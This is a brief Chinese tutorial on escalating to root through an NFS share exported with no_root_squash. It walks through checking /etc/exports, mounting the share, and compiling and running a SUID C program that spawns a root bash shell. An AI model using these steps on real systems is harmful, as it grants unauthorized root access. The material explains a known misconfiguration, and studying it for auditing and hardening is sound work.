简介
NFS(网络文件系统)是一种在端口TCP/UDP2049上运行的网络文件共享协议,由服务器和客户端两个组件组成。NFS服务器上创建共享目录,可以通过网络与其他Linux客户端共享文件。获得权限的用户可以将文件添加到共享中,并与有权访问该目录的其他用户共享。
提权原理
默认情况下,每个NFS共享都会启用root_squash功能,以防止共享文件拥有root:root身份或特殊权限(即启用root_squash后,所有共享文件都会变成nobody:nogroup身份)。但是,如果启用了no_root_squash功能,文件可以以root身份存在,这就容易导致权限升级。
利用条件
no_root_squash选项开启
查看/etc/exports
文件
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
# NFS共享的示例目录:/srv/nfs_share
# 允许指定的IP网段 * 访问该共享,具有读写权限。
# no_root_squash 允许客户端的root用户在NFS服务器上有root权限。
/tmp *(rw,sync,no_root_squash,no_subtree_check)
# 解释:
# rw - 读写权限
# sync - 数据在写入后立即保存
# no_root_squash - 客户端的root用户将映射为NFS服务器上的root用户
# no_subtree_check - 禁用子目录检查,提高性能
案例
1、查看/etc/exports
,发现为no_root_squash
cat /etc/exports
2、列举可挂载份额
showmount -e 192.168.74.131
3、创建目录,并挂载
mkdir /tmp/door
mount -o rw 192.168.74.131:/tmp /tmp/door
此时访问本地的/tmp/door
就相当于访问目标机的/tmp
4、创建一个SUID的可执行文件
int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
进行编译并赋予S权限
gcc nfs.c -o nfs -w
chmod +s nfs
5、在目标机上运行该文件
./nfs
注意:如果报错,可能版本不一致,建议在GLIBC相同的版本上进行编译